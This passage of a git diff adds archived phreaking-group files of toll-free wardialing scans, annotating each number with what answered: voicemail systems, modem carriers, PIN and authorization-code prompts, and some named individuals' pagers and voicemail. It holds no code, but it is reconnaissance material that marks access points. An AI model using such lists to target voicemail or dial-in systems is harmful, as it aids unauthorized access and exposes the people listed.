+079 2CK.
+080 2CK.
+081 2CK.
+082 2CK.
+083 2CK.
+084 2CK.
+085 2CK.
+086 2CK.
+087 Capital Realty.
+088 2CK.
+089 NA.
+090 2CK.
+091 "We're sorry, this account is not active at this time."
+092 2CK.
+093 BUSY.
+094 2CK.
+095 2CK.
+096 Travel Department.
+097 2CK.
+098 2CK.
+099 BUSY.
+100 AT&T Corporate Teleconferencing.
+101 Cable Guide Hotline.
+102 2CK.
+103 Matt's VMB.
+104 2CK.
+105 Nationwide messaging.
+106 Antenna. (Voice)
+107 2CK.
+108 2CK.
+109 Smoking Sensation hotline.
+110 Kelly Blue Book Used Car line.
+111 2CK.
+112 Same message as 122.
+113 2CK.
+114 2CK.
+115 2CK.
+116 Island of Nantucket.
+117 2CK.
+118 Same message as 122.
+119 NA.
+120 AT&T Easy Reach 800.
+121 2CK.
+122 "We are sorry but this program has not started. Thank you for calling."
+123 Seiger Electronics. NIS. 1-800-724-3780 Seiger Electronics.
+124 CARRIER.
+125 Answering machine.
+126 2CK.
+127 2CK.
+128 NOS (collect, credit and calling card)
+129 2CK.
+130 NA.
+131 Same message as 300.
+132 T-Row Price automated finances.
+133 BUSY.
+134 Nationwide Messaging.
+135 2CK.
+136 Unicare (for companies like Hitachi).
+137 NA. (Loud Ring)
+138 FAX.
+139 "Enter telephone number or numeric message."
+140 Answering machine.
+141 NA.
+142 2CK.
+143 2CK.
+144 2CK.
+145 Some bank's customer service line.
+146 NA.
+147 "All circuits are busy."
+148 2CK.
+149 Same message as 122.
+150 Another no name lame company's customer service line.
+151 2CK.
+152 Nationwide Messaging.
+153 2CK.
+154 Unicare.
+155 BUSY.
+156 Aaron's Direct Dial VMB.
+157 Collins Medical VMS.
+158 "Please enter a numeric message."
+159 2CK.
+160 GTE Corporation.
+161 2CK.
+162 AT&T Easy Reach 800.
+163 Scutter Fund.
+164 2CK.
+165 2CK.
+166 2CK.
+167 AstroMed VMS.
+168 2CK.
+169 2CK.
+170 2CK.
+171 2CK.
+172 VMS.
+173 2CK.
+174 2CK.
+175 2CK.
+176 Same message as 122.
+177 AT&T Easy Reach 800.
+178 2CK.
+179 Same message as 122.
+180 Bell Canada Client Service Center.
+181 2CK.
+182 2CK.
+183 NA. (Loud Ring)
+184 2CK.
+185 Fitness Service.
+186 Same message as 122.
+187 2CK.
+188 2CK.
+189 2CK.
+190 2CK.
+191 2CK.
+192 Same message as 122.
+193 2CK.
+194 Same message as 122.
+195 Same message as 122.
+196 NA.
+197 2CK.
+198 2CK.
+199 2CK.
+200 NA.
+201 2CK.
+202 2CK.
+203 2CK.
+204 2CK.
+205 AT&T Collect Calls message. Gives the 1-800-CALL-ATT number.
+206 NA.
+207 AT&T Easy Reach 800.
+208 "Please enter the number you are calling."
+209 Nationwide Messaging.
+210 2CK.
+211 2CK.
+212 2CK.
+213 2CK.
+214 Same message as 122.
+215 2CK.
+216 NA.
+217 2CK.
+218 NA.
+219 2CK.
+220 2CK.
+221 NA.
+222 ABC News Video Tape and Transcript order center.
+223 2CK.
+224 Computer Associates.
+225 2CK.
+226 2CK.
+227 Western Union.
+228 ATN Communications.
+229 2CK.
+230 2CK.
+231 CARRIER.
+232 2CK.
+233 NOS (collect etc.)
+234 2CK.
+235 2CK.
+236 BUSY.
+237 ADP automated system.
+238 2CK.
+239 Business Express VMS.
+240 Biochat system at Biomedics.
+241 Quality Water.
+242 Humanetics.
+243 1-800-FLOWERS.
+244 Life Division of AIG.
+245 2CK.
+246 Voice.
+247 Brink's Home Security.
+248 AGT International.
+249 IBM AIX Support.
+250 Russ Electric.
+251 Disconnected.
+252 2CK.
+253 2CK.
+254 2CK.
+255 NA.
+256 NIS.
+257 Contracters Labour Pool VMS.
+258 2CK.
+259 Noble Books.
+260 2CK.
+261 2CK.
+262 NA.
+263 Disconnected.
+264 Technical Trainers VMS.
+265 1-800-COLLECT.
+266 2CK.
+267 CMS North America.
+268 ATN Communications.
+269 Technical Difficulties.
+270 Fidelity Destiny Plan.
+271 Nationwide Messaging.
+272 NIS.
+273 2CK.
+274 BPI VMS.
+275 CARRIER.
+276 NA.
+277 NA.
+278 NIS.
+279 CFX Transportation.
+280 TONE.
+281 2CK.
+282 2CK.
+283 2CK.
+284 2CK.
+285 BUSY.
+286 Avon. (Voice)
+287 2CK.
+288 AT&T (1-800-CALL-ATT)
+289 2CK.
+290 2CK.
+291 John Hancock Funds.
+292 2CK.
+293 Web Service Company.
+294 2CK.
+295 2CK.
+296 2CK.
+297 Humanetics National Customer Care Center.
+298 Carlson Bogonlee Travel.
+299 2CK.
+300 "We're sorry but this program has ended & no further calls are being taken."
+301 2CK.
+302 2CK.
+303 NIS.
+304 Nationwide Messaging.
+305 2CK.
+306 2CK.
+307 CARRIER.
+308 Loud Tone.
+309 2CK.
+310 NA.
+311 2CK.
+312 Answering machine.
+313 Same message as 122.
+314 "Please enter a voice or numeric message."
+315 NIS.
+316 NA.
+317 FAX.
+318 AT&T Easy Reach 800.
+319 2CK.
+320 2CK.
+321 2CK.
+322 Feeder Corporation. Gives 1-888-225-5322 for the FCC. NIS.
+323 2CK.
+324 Ryerson something. (Voice)
+325 2CK.
+326 Dan's VMB.
+327 2CK.
+328 AT&T Easy Reach 800.
+329 "To complete your call, please press or dial '1' now."
+330 2CK.
+331 Windham Resort and Spaw in Florida.
+332 First Union Bank automated service.
+333 Invalid.
+334 Lame answering machine.
+335 Delta Funding Corporation.
+336 Spectrum Manufacturing VMS.
+337 2CK.
+338 2CK.
+339 Something Yellow Pages VMS.
+340 2CK.
+341 Kendal Customer Service Center.
+342 2CK.
+343 2CK.
+344 2CK.
+345 2CK.
+346 2CK.
+347 2CK.
+348 Disconnected. Calls taken by 1-800-352-2287. NA.
+349 2CK.
+350 NIS.
+351 VMS.
+352 Kodak Film Company.
+353 Fleet Bank.
+354 2CK.
+355 Rocky Mountain Elk Foundation.
+356 2CK.
+357 Dow Jones New Services Reports.
+358 BUSY.
+359 2CK.
+360 VMS.
+361 New number 1-877 358 1508
+362 Something Medical Group. (Voice)
+363 NA.
+364 EMI Group VMS.
+365 Invalid.
+366 2CK.
+367 2CK.
+368 2CK.
+369 NA.
+370 Lame company that doesn't even identify itself by name.
+371 2CK.
+372 NA.
+373 3M Electronic Products Information.
+374 NA.
+375 2CK.
+376 "Please enter your 4 digit PIN."
+377 Federal Screw Products in Chicago. (Screw the Feds)
+378 2CK.
+379 2CK.
+380 2CK.
+381 2CK.
+382 VMS. 335 Willow Street North Andover Mass.
+383 2CK.
+384 2CK.
+385 Compaq Computer Corporation.
+386 NA.
+387 CyTek's FAX Service for employees. (requires security code)
+388 2CK.
+389 Detroit Convention Bureau VMS.
+390 2CK.
+391 Coolio's Gardens.
+392 2CK.
+393 2CK.
+394 Disconnected.
+395 2CK.
+396 AT&T Easy Reach 800.
+397 NIS.
+398 Around the World Travel. (Voice)
+399 2CK.
+400 Bell Atlantic.
+401 2CK.
+402 Same message as 122.
+403 Same message as 122.
+404 2CK.
+405 2CK.
+406 Same message as 122.
+407 Same message as 122.
+408 2CK.
+409 Citizen's National Bank. 1-800-447-4262
+410 Same message as 122.
+411 Sundance Supplier Services.
+412 2CK.
+413 Cincinatti Bell VMS for 530-5100.
+414 2CK.
+415 2CK.
+416 2CK.
+417 2CK.
+418 2CK.
+419 NA.
+420 NIS.
+421 2CK.
+422 2CK.
+423 Something Advertising VMS.
+424 Voice.
+425 Customer Service center for some lame company.
+426 2CK.
+427 Invalid.
+428 2CK.
+429 Mother's Cookies.
+430 2CK.
+431 2CK.
+432 2CK.
+433 2CK.
+434 2CK.
+435 2CK.
+436 NA.
+437 American Express Financial Advisors.
+438 IDT Long Distance/Internet Services.
+439 NIS.
+440 2CK.
+441 NA.
+442 2CK.
+443 Something Atlanta VMS.
+444 2CK.
+445 2CK.
+446 2CK.
+447 2CK.
+448 2CK.
+449 Farrow Union Incorporated VMS.
+450 2CK.
+451 2CK.
+452 2CK.
+453 NA.
+454 NA.
+455 Johnson and Johnson VMS.
+456 NA.
+457 Comlink Sanderson VMS.
+458 2CK.
+459 IOX Customer Support.
+460 2CK.
+461 Same message as 122.
+462 ADCon Incorporated.
+463 2CK.
+464 2CK.
+465 2CK.
+466 Voice.
+467 2CK.
+468 NA.
+469 Home Owners Warranty.
+470 VMS.
+471 2CK.
+472 2CK.
+473 2CK.
+474 2CK.
+475 Smart Cards USA.
+476 Golden State Mutual Life Insurance Company VMS.
+477 2CK.
+478 New England Funds.
+479 NA.
+480 2CK.
+481 2CK.
+482 NA.
+483 GTE Long Distance.
+484 BUSY.
+485 HTL Telemanagement.
+486 2CK.
+487 Disconnected.
+488 2CK.
+489 NA.
+490 Jeff Carlson's Voicemail.
+491 Western Geophysical (Greg's VMB)
+492 NA.
+493 2CK.
+494 2CK.
+495 2CK.
+496 2CK.
+497 2CK.
+498 GWV International.
+499 2CK.
+500 Teleconference Assistance.
+501 2CK.
+502 Changed to 814-432-7969
+503 2CK.
+504 2CK.
+505 2CK.
+506 Massachussets College of Pharmacy.
+507 2CK.
+508 Voice.
+509 NA.
+510 NA.
+511 AT&T Easy Reach 800.
+512 2CK.
+513 Same message as 122.
+514 2CK.
+515 Voice.
+516 2CK.
+517 2CK.
+518 2CK.
+519 TONE.
+520 Voice.
+521 2CK.
+522 2CK.
+523 2CK.
+524 2CK.
+525 Jack Kelly Company.
+526 Voice.
+527 2CK.
+528 TONE. "Please enter the number you are calling."
+529 2CK.
+530 FAX.
+531 Changed to 1-877-946-3976. Boston Wine Expo.
+532 KFC Customer Service Line. (Kentucky Fried Chicken anyone?)
+533 AT&T Easy Reach 800.
+534 Jags High Performance VMS.
+535 Fordcom and machine Company or something.
+536 Ocean Promotions.
+537 NA.
+538 2CK.
+539 Communitech Corporation.
+540 2CK.
+541 Interstate Motor Something. (Voice)
+542 Keyho Motors America VMS.
+543 VMS.
+544 2CK.
+545 2CK.
+546 Investor's Business Daily. (Voice)
+547 2CK.
+548 2CK.
+549 Voice.
+550 2CK.
+551 2CK.
+552 2CK.
+553 2CK.
+554 NA.
+555 2CK.
+556 2CK.
+557 NA.
+558 NIS.
+559 2CK.
+560 2CK.
+561 AT&T Easy Reach 800.
+562 NIS.
+563 Rings once then silence.
+564 2CK.
+565 2CK.
+566 2CK.
+567 2CK.
+568 2CK.
+569 AT&T Easy Reach 800.
+570 2CK.
+571 2CK.
+572 SuperStar.
+573 AT&T Easy Reach 800.
+574 2CK.
+575 2CK.
+576 2CK.
+577 2CK.
+578 BUSY.
+579 FAX.
+580 NA.
+581 2CK.
+582 2CK.
+583 NA.
+584 2CK.
+585 2CK.
+586 2CK.
+587 Ryerson VMS.
+588 Lawrence Tech.
+589 2CK.
+590 2CK.
+591 Same message as 122.
+592 Voice.
+593 Voice.
+594 JWI. (French and English)
+595 NIS.
+596 2CK.
+597 2CK.
+598 VMS.
+599 2CK.
+600 2CK.
+601 2CK.
+602 "Please enter a numeric message."
+603 Voice.
+604 Voice.
+605 2CK.
+606 2CK.
+607 NOS (calling, collect, credit card calls)
+608 2CK.
+609 2CK.
+610 2CK.
+611 FAX.
+612 2CK.
+613 2CK.
+614 FAX.
+615 American Express Prudential Travel Office.
+616 2CK.
+617 VMS.
+618 NIS.
+619 2CK.
+620 2CK.
+621 Cabellas.
+622 MC Squared VMS.
+623 Bank One's Telebanking Center.
+624 AT&T Easy Reach 800.
+625 2CK.
+626 2CK.
+627 NCR Customer Support.
+628 2CK.
+629 "Welcome to Callmay. Please enter your SSN."
+630 2CK.
+631 2CK.
+632 Voice.
+633 BUSY.
+634 2CK.
+635 Same message as 122.
+636 2CK.
+637 NIS.
+638 BUSY.
+639 2CK.
+640 AT&T Easy Reach 800.
+641 Answering machine.
+642 National Property Claim Center.
+643 Shareholder Connection.
+644 NA.
+645 NA.
+646 2CK.
+647 2CK.
+648 2CK.
+649 Voice.
+650 NA.
+651 2CK.
+652 Oklahoma City Convention and Visitors Bureau.
+653 2CK.
+654 2CK.
+655 2CK.
+656 "Please enter the 4 digit number listed with your invite to call this number."
+657 PC Something VMS.
+658 2CK.
+659 2CK.
+660 1-800-553-2577 is Alcoa's VMS.
+661 2CK.
+662 Michigan National Bank.
+663 2CK.
+664 NEC Corporation.
+665 2CK.
+666 2CK.
+667 2CK.
+668 BUSY.
+669 New England 800 Company.
+670 2CK.
+671 2CK.
+672 2CK.
+673 2CK.
+674 2CK.
+675 Mercs Shareholder Direct.
+676 2CK.
+677 Oppenheimer Funds.
+678 2CK.
+679 Memorex Products.
+680 AT&T Easy Reach 800.
+681 2CK.
+682 2CK.
+683 2CK.
+684 2CK.
+685 NA.
+686 2CK.
+687 2CK.
+688 NA.
+689 BUSY.
+690 NA.
+691 2CK.
+692 Not-Active.
+693 Metropolitan Water District.
+694 2CK.
+695 BUSY.
+696 NA.
+697 New York State Travel Information Center.
+698 2CK.
+699 KMX Helpline.
+700 AT&T Teleconference.
+701 2CK.
+702 2CK.
+703 AT&T Easy Reach 800.
+704 2CK.
+705 AT&T Easy Reach 800.
+706 2CK.
+707 2CK.
+708 2CK.
+709 2CK.
+710 2CK.
+711 2CK.
+712 RAM Sports VMS.
+713 FAX.
+714 2CK.
+715 NIS.
+716 2CK.
+717 2CK.
+718 2CK.
+719 NA.
+720 Something Paging.
+721 2CK.
+722 2CK.
+723 2CK.
+724 2CK.
+725 Merril Lynch.
+726 2CK.
+727 Scandanavian Airlines.
+728 Mid City Automatic Teller.
+729 2CK.
+730 2CK.
+731 Mailbox is not valid.
+732 Polaroid Product Helpline.
+733 2CK.
+734 AT&T Easy Reach 800.
+735 2CK.
+736 Voice.
+737 BOK's Financial Services.
+739 2CK.
+738 NA.
+740 SLS Mechanics.
+741 NA.
+742 NA.
+743 NA.
+744 2CK.
+745 Philadelphia Convention and Visitors Bureau.
+746 VMS.
+747 2CK.
+748 2CK.
+749 2CK.
+750 Educators publishing service.
+751 Educators publishing service.
+752 2CK.
+753 2CK.
+754 2CK.
+755 Same message as 122.
+756 Insurance Service Center.
+757 2CK.
+758 Voice.
+759 Skylink Travel.
+760 NA.
+761 Mazda. (Voice)
+762 2CK.
+763 NA.
+764 NA.
+765 NA.
+766 2CK.
+767 Centronix Technology Group.
+768 2CK.
+769 2CK.
+770 NIS.
+771 NIS.
+772 SuperStar.
+773 2CK.
+774 3M in Austin, TX. 1-800-426-8688
+775 West Diagnostics Incorporated.
+776 2CK.
+777 FAX.
+778 Norwest mortgage.
+779 2CK.
+780 2CK.
+781 2CK.
+782 South Trust Direct.
+783 2CK.
+784 Union Carbide VMS.
+785 Answering machine.
+786 Equiserve.
+787 FAX.
+788 2CK.
+789 2CK.
+790 NIS.
+791 NIS.
+792 SBC Wireless National Services.
+793 NA.
+794 2CK.
+795 Same message as 300.
+796 2CK.
+797 South Power.
+798 2CK.
+799 Daily Web Press Service Dept.
+800 Publishing Group.
+801 Same message as 122.
+802 2CK.
+803 Something Customer Service.
+804 "We are sorry but this program has ended. Thank you for calling."
+805 2CK.
+806 2CK.
+807 2CK.
+808 Voice.
+809 FAX.
+810 2CK.
+811 NA.
+812 2CK.
+813 2CK.
+814 2CK.
+815 2CK.
+816 2CK.
+817 PageText. "Enter your PIN number now..."
+818 Ballpro. (fast talker)
+819 FAX.
+820 2CK.
+821 2CK.
+822 2CK.
+823 Answering machine.
+824 TCI Cable Services.
+825 United Airlines Services.
+826 Something VMS.
+827 Collagen Products Division of something Corp.
+828 Albin Shoe Company.
+829 New York State Department of Taxation.
+830 2CK.
+831 2CK.
+832 1-800-523-9382.
+833 NA.
+834 NA.
+835 2CK.
+836 Franklin Mint information line.
+837 2CK.
+838 2CK.
+839 2CK.
+840 NA.
+841 2CK.
+842 2CK.
+843 Fortel and Merdian Hotels and Resorts.
+844 UGI VMS.
+845 2CK.
+846 VMS.
+847 NIS.
+848 Shoecraft VMS.
+849 NA.
+850 CARRIER.
+851 2CK.
+852 2CK.
+853 2CK.
+854 Meridian Mail VMB.
+855 BUSY.
+856 AT&T's Vendor Agent Program.
+857 TL Smith Machine PBX.
+858 NIS.
+859 Valley National Bank.
+860 2CK.
+861 2CK.
+862 2CK.
+863 University of North Dakota Enrollment Services.
+864 2CK.
+865 Number changed.
+866 2CK.
+867 NA.
+868 Number changed.
+869 2CK.
+870 Voice.
+871 High Tone then Dialtone.
+872 AT&T Collect Call message. Please call 1-800-CALL-ATT.
+873 NA.
+874 Voice.
+875 FAX.
+876 2CK.
+877 Valley's Park Place Reservations.
+878 BUSY.
+879 2CK.
+880 Customation.
+881 2CK.
+882 2CK.
+883 2CK.
+884 NA.
+885 2CK.
+886 2CK.
+887 2CK.
+888 MCI WorldCom Operator Services.
+889 Ameritech? Ameritucks?
+890 NIS.
+891 Precision Products Customer Service.
+892 2CK.
+893 BUSY.
+894 2CK.
+895 FSF Stadler VMS.
+896 Silent line.
+897 2CK.
+898 2CK.
+899 2CK.
+900 2CK.
+901 2CK.
+902 Northern States Power Company.
+903 2CK.
+904 2CK.
+905 AT&T Easy Reach 800.
+906 2CK.
+907 CB Environmental Control.
+908 Metropolitan Credit Union.
+909 2CK.
+910 NA.
+911 Provider line for Access Assistance.
+912 2CK.
+913 Fastner Division of Something.
+914 NA.
+915 2CK.
+916 NA.
+917 NA.
+918 2CK.
+919 2CK.
+920 2CK.
+921 Highlander Sale Catalog.
+922 2CK.
+923 Advanta Stock and Dividend Program.
+924 2CK.
+925 2CK.
+926 2CK.
+927 Something Technologies.
+928 2CK.
+929 2CK.
+930 Waste Management.
+931 2CK.
+932 Wells Fargo's Equity line.
+933 2CK.
+934 2CK.
+935 Wells Fargo National Banking Center.
+936 2CK.
+937 2CK.
+938 2CK.
+939 2CK.
+940 Unavailable.
+941 2CK.
+942 2CK.
+943 Non-Working 800 number.
+944 CARRIER.
+945 John Wiley and Sons.
+946 "Please enter your authorization code."
+947 Voice.
+948 2CK.
+949 Darrin Lewis' Pager.
+950 NA.
+951 2CK.
+952 BUSY. 2
+953 2CK.
+954 2CK.
+955 2CK.
+956 2CK.
+957 2CK.
+958 American Express Travel Office Center.
+959 Voice.
+960 2CK.
+961 Voice.
+962 NA.
+963 "The mobile customer you have called is unavailable."
+964 2CK.
+965 NIS.
+966 2CK.
+967 2CK.
+968 2CK.
+969 2CK.
+970 "The mobile customer you have called is unavailable."
+971 Security First Group Health Center.
+972 WPC VMS.
+973 2CK.
+974 2CK.
+975 2CK.
+976 WPO Travel.
+977 Valley's Park Place Room Reservations.
+978 2CK.
+979 2CK.
+980 Resource Network Technical Support. 1-800-345-3342 (HBO)
+981 CARRIER.
+982 State of West Virginia.
+983 2CK.
+984 NA.
+985 2CK.
+986 2CK.
+987 Theological Seminary.
+988 2CK.
+989 2CK.
+990 NA.
+991 Voice.
+992 Real Estate.
+993 2CK.
+994 Grangers Emergency Service.
+995 "This number no longer reaches Wells Fargo Bank." at WFF Bank.
+996 Wyoming Tourist Office.
+997 2CK.
+998 2CK.
+999 Williamsburg Hotel.
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+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ 1-800-465-11XX Scan
+
+ http://surf.to/damage_inc
+ damage_inc@dope.org
+===============================================================================
+
+Shatazar's Scans (scanned from the 519 NPA)
+2CK = Cannot be reached from 519. NA = No Answer. NIS = Not in Service.
+47-4 = Number is blocked/invalid.
+
+1-800-465-1100 2CK.
+1-800-465-1101 2CK.
+1-800-465-1102 AT&T Easy Reach 800.
+1-800-465-1103 "Please enter your 4 digit PIN."
+1-800-465-1104 2CK.
+1-800-465-1105 2CK.
+1-800-465-1106 AT&T Easy Reach 800.
+1-800-465-1107 Invalid.
+1-800-465-1108 2CK.
+1-800-465-1109 2CK.
+1-800-465-1110 2CK.
+1-800-465-1111 2CK.
+1-800-465-1112 NIS.
+1-800-465-1113 2CK.
+1-800-465-1114 NA.
+1-800-465-1115 Ontario Hydro Kenora area.
+1-800-465-1116 NA.
+1-800-465-1117 2CK.
+1-800-465-1118 NA.
+1-800-465-1119 2CK.
+1-800-465-1120 Voice.
+1-800-465-1121 NIS.
+1-800-465-1122 NIS.
+1-800-465-1123 Voice.
+1-800-465-1124 NIS.
+1-800-465-1125 NIS.
+1-800-465-1126 NIS.
+1-800-465-1127 Voice.
+1-800-465-1128 2CK.
+1-800-465-1129 FAX.
+1-800-465-1130 NIS.
+1-800-465-1131 NIS.
+1-800-465-1132 NIS.
+1-800-465-1133 2CK.
+1-800-465-1134 Bars Dealer Accounting.
+1-800-465-1135 Bruce McGregor with Century 21.
+1-800-465-1136 Paul's pager.
+1-800-465-1137 Robert Something Limited.
+1-800-465-1138 Invalid/Blocked.
+1-800-465-1139 NA.
+1-800-465-1140 2CK.
+1-800-465-1141 NIS.
+1-800-465-1142 "Please leave your name and a message."
+1-800-465-1143 NIS.
+1-800-465-1144 2CK.
+1-800-465-1145 NA.
+1-800-465-1146 Non-Working number.
+1-800-465-1147 NA.
+1-800-465-1148 NIS.
+1-800-465-1149 2CK.
+1-800-465-1150 NA.
+1-800-465-1151 NIS.
+1-800-465-1152 French.
+1-800-465-1153 Bell Canada.
+1-800-465-1154 New Green Surfaces.
+1-800-465-1155 Something Pontiac Buick Dealership.
+1-800-465-1156 NIS.
+1-800-465-1157 Invalid/Blocked.
+1-800-465-1158 Invalid/Blocked.
+1-800-465-1159 "Welcome to Frontier Speedlink. What PIN would you like to call?"
+1-800-465-1160 "Please enter your 4 digit PIN."
+1-800-465-1161 2CK.
+1-800-465-1162 2CK.
+1-800-465-1163 2CK.
+1-800-465-1164 NA.
+1-800-465-1165 AT&T Easy Reach 800.
+1-800-465-1166 Jacob's Farm Equipment.
+1-800-465-1167 "The mobile customer you have called is unavailable..."
+1-800-465-1168 Invalid/Blocked.
+1-800-465-1169 Invalid/Blocked.
+1-800-465-1170 Bob Caruso.
+1-800-465-1171 "This is not a valid number."
+1-800-465-1172 2CK.
+1-800-465-1173 2CK.
+1-800-465-1174 Lace Master National VMS.
+1-800-465-1175 Strange VMS/After hours FAX.
+1-800-465-1176 Meridian Mail VMB.
+1-800-465-1177 NIS.
+1-800-465-1178 NIS.
+1-800-465-1179 CARRIER.
+1-800-465-1180 NIS.
+1-800-465-1181 NIS.
+1-800-465-1182 Service Cents.
+1-800-465-1183 FAX.
+1-800-465-1184 2CK.
+1-800-465-1185 2CK.
+1-800-465-1186 FAX.
+1-800-465-1187 NIS.
+1-800-465-1188 NIS.
+1-800-465-1189 NIS.
+1-800-465-1190 NIS.
+1-800-465-1191 Pangrowsomething? offices.
+1-800-465-1192 NIS.
+1-800-465-1193 NIS.
+1-800-465-1194 NIS.
+1-800-465-1195 2CK.
+1-800-465-1196 2CK.
+1-800-465-1197 2CK.
+1-800-465-1198 Canadian Transfer Association.
+1-800-465-1199 NA.
diff --git a/textfiles.com/groups/DAMAGEINC/465-99xx.txt b/textfiles.com/groups/DAMAGEINC/465-99xx.txt
new file mode 100644
index 00000000..b4301bad
--- /dev/null
+++ b/textfiles.com/groups/DAMAGEINC/465-99xx.txt
@@ -0,0 +1,116 @@
+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ 1-800-465-99XX Scan
+
+ http://surf.to/damage_inc
+ damage_inc@dope.org
+===============================================================================
+
+Shatazar's Scans (scanned from the 519 NPA)
+2CK = Cannot be reached from 519. NA = No Answer. NIS = Not in Service.
+47-4 = Number is blocked/invalid.
+
+1-800-465-9900 NIS.
+1-800-465-9901 NIS.
+1-800-465-9902 NIS.
+1-800-465-9903 NIS.
+1-800-465-9904 NIS.
+1-800-465-9905 NIS.
+1-800-465-9906 AT&T Easy Reach 800.
+1-800-465-9907 NIS.
+1-800-465-9908 NIS.
+1-800-465-9909 NA.
+1-800-465-9910 NIS.
+1-800-465-9911 2CK.
+1-800-465-9912 2CK.
+1-800-465-9913 American Network Leasing.
+1-800-465-9914 FAX.
+1-800-465-9915 2CK.
+1-800-465-9916 Portfolio Administration Customer Service.
+1-800-465-9917 NA.
+1-800-465-9918 NIS.
+1-800-465-9919 NIS.
+1-800-465-9920 NIS.
+1-800-465-9921 NIS.
+1-800-465-9922 NA.
+1-800-465-9923 French.
+1-800-465-9924 NIS.
+1-800-465-9925 NIS.
+1-800-465-9926 NIS.
+1-800-465-9927 NIS.
+1-800-465-9928 2CK.
+1-800-465-9929 NIS.
+1-800-465-9930 NIS.
+1-800-465-9931 NA.
+1-800-465-9932 Pension Surplus Reserve Group.
+1-800-465-9933 Weed Man Lawncare.
+1-800-465-9934 2CK.
+1-800-465-9935 NIS.
+1-800-465-9936 NIS.
+1-800-465-9937 2CK.
+1-800-465-9938 Nationwide Messaging.
+1-800-465-9939 Nationwide Messaging.
+1-800-465-9940 Paulie's Pager.
+1-800-465-9941 NIS.
+1-800-465-9942 Nationwide Messaging.
+1-800-465-9943 Someone's Pager/Voicemail.
+1-800-465-9944 Voice.
+1-800-465-9945 NIS.
+1-800-465-9946 2CK.
+1-800-465-9947 SkyTel. "Enter the PIN number you wish."
+1-800-465-9948 Voice.
+1-800-465-9949 Someone's Voicemail.
+1-800-465-9950 "Enter telephone number or a numeric message."
+1-800-465-9951 "Enter telephone number or a numeric message."
+1-800-465-9952 2CK.
+1-800-465-9953 FAX.
+1-800-465-9954 "This PIN has been disconnected. Thank you for calling SkyTel."
+1-800-465-9955 NA.
+1-800-465-9956 Voicemail/Pager.
+1-800-465-9957 AT&T Easy Reach 800.
+1-800-465-9958 "Enter telephone number or a numeric message."
+1-800-465-9959 Someone from Bell Canada?
+1-800-465-9960 "Enter telephone number or a numeric message."
+1-800-465-9961 MicroAge Computer Centers VMS.
+1-800-465-9962 Voicemail/Pager.
+1-800-465-9963 "Enter telephone number or a numeric message."
+1-800-465-9964 BUSY. 2
+1-800-465-9965 CARRIER.
+1-800-465-9966 Voice.
+1-800-465-9967 NIS.
+1-800-465-9968 NA.
+1-800-465-9969 NIS.
+1-800-465-9970 "Enter telephone number or a numeric message."
+1-800-465-9971 NIS.
+1-800-465-9972 Nationwide Messaging.
+1-800-465-9973 TONES.
+1-800-465-9974 2CK.
+1-800-465-9975 Nationwide Messaging.
+1-800-465-9976 Nationwide Messaging.
+1-800-465-9977 NA.
+1-800-465-9978 NIS.
+1-800-465-9979 NIS.
+1-800-465-9980 Infotronics VMS.
+1-800-465-9981 Nationwide Messaging.
+1-800-465-9982 NIS.
+1-800-465-9983 NIS.
+1-800-465-9984 2CK.
+1-800-465-9985 NA.
+1-800-465-9986 "Welcome. Enter the PIN number you wish, followed by the # key."
+1-800-465-9987 "Welcome to SkyTel 2-way."
+1-800-465-9988 NIS.
+1-800-465-9989 NIS.
+1-800-465-9990 FAX.
+1-800-465-9991 NIS.
+1-800-465-9992 Voice.
+1-800-465-9993 NIS.
+1-800-465-9994 NIS.
+1-800-465-9995 NIS.
+1-800-465-9996 NIS.
+1-800-465-9997 Voice.
+1-800-465-9998 FAX.
+1-800-465-9999 Bay Home Improvements.
diff --git a/textfiles.com/groups/DAMAGEINC/800bell.txt b/textfiles.com/groups/DAMAGEINC/800bell.txt
new file mode 100644
index 00000000..55d05e95
--- /dev/null
+++ b/textfiles.com/groups/DAMAGEINC/800bell.txt
@@ -0,0 +1,813 @@
+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ 1-800-XXX-BELL Scan
+
+ http://surf.to/damage_inc
+ damage_inc@dope.org
+===============================================================================
+
+1-800-XXX-2355 (BELL) Scan:
+
+200 2CK.
+201 AT&T Easy Reach 800.
+202 NIS.
+203 2CK.
+204 2CK.
+205 2CK.
+206 2CK.
+207 Please enter your 10 digit pager number.
+208 NIS.
+209 "The party you have called is unavailable." Voicemail message.
+210 2CK.
+211 2CK.
+212 NIS.
+213 Answering machine.
+214 United Health Care Service Center.
+215 CTI. (not telco related)
+216 FAX.
+217 NIS.
+218 2CK.
+219 2CK.
+220 Offices closed. Call back between 9-5.
+221 2CK.
+222 2CK.
+223 2CK.
+224 NIS.
+225 2CK.
+226 NA.
+227 2CK.
+228 Mutual of Omaha.
+229 Invalid.
+230 AT&T Easy Reach 800.
+231 2CK.
+232 2CK.
+233 2CK.
+234 2CK.
+235 2CK.
+237 NA.
+238 NA.
+239 2CK.
+240 2CK.
+241 Bell Atlantic Caller-ID.
+242 2CK.
+243 2CK.
+244 Bell Atlantic's Interactive Demo Center.
+245 2CK.
+246 2CK.
+247 2CK.
+248 NIS.
+249 2CK.
+250 Answering machine.
+251 2CK.
+252 Disconnected.
+253 NA.
+254 BUSY.
+255 2CK.
+256 Bell Maxia. (after hours Octel VMB)
+257 NA.
+258 Enter telephone number or a numeric message.
+259 Sherri's Voicemail.
+260 NIS.
+261 2CK.
+262 Voice.
+263 Discount Car and Truck Rental.
+264 Cellular South's Answer Center.
+265 NIS.
+266 2CK.
+267 Bell Mobility Quebec.
+268 Bell Mobility Ottawa Office.
+269 Bripoint line America.
+270 Business Consulting Group of Bell Canada.
+271 NIS.
+272 2CK.
+273 2CK.
+274 Bell Air Express.
+275 Bell Atlantic Repair.
+276 Frontier Communications Customer Service.
+277 2CK.
+278 NIS.
+279 Non-working toll free number.
+280 2CK.
+281 NIS.
